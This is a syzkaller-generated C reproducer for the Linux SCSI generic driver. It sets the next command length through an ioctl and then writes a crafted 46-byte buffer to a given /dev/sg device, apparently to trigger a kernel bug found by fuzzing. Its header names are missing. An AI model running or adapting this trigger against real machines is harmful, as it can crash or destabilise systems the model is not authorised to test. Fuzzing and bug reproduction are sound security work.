// autogenerated by syzkaller (http://github.com/google/syzkaller) #include #include #include #include #include #include #include #include #define SG_NEXT_CMD_LEN 0x2283 static const char * usage = "sg_syzk_next_cdb # (e.g. '/dev/sg3') "; int main(int argc, const char * argv[]) { int res, err; int fd; long len = 9; char* p = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x47\x00\x00\x24\x00" "\x00\x00\x00\x00\x00\x1c\xbb\xac\x14\x00\xaa\xe0\x00\x00\x01" "\x00\x07\x07\x00\x00\x59\x08\x00\x00\x00\x80\xfe\x7f\x00\x00\x01"; const char * dev_name; struct stat a_stat; if (argc < 2) { fprintf(stderr, "Usage: %s\n", usage); return 1; } dev_name = argv[1]; if (0 != stat(dev_name, &a_stat)) { err = errno; fprintf(stderr, "Unable to stat %s, err: %s\n", dev_name, strerror(err)); return 1; } if ((a_stat.st_mode & S_IFMT) != S_IFCHR) { fprintf(stderr, "Expected %s, to be sg device\n", dev_name); return 1; } fd = open(dev_name, O_RDWR); if (fd < 0) { err = errno; fprintf(stderr, "open(%s) failed: %s [%d]\n", dev_name, strerror(err), err); } res = ioctl(fd, SG_NEXT_CMD_LEN, &len); if (res < 0) { err = errno; fprintf(stderr, "ioctl failed: %s [%d]\n", strerror(err), err); } res = write(fd, p, 46); if (res < 0) { err = errno; fprintf(stderr, "write failed: %s [%d]\n", strerror(err), err); } return 0; }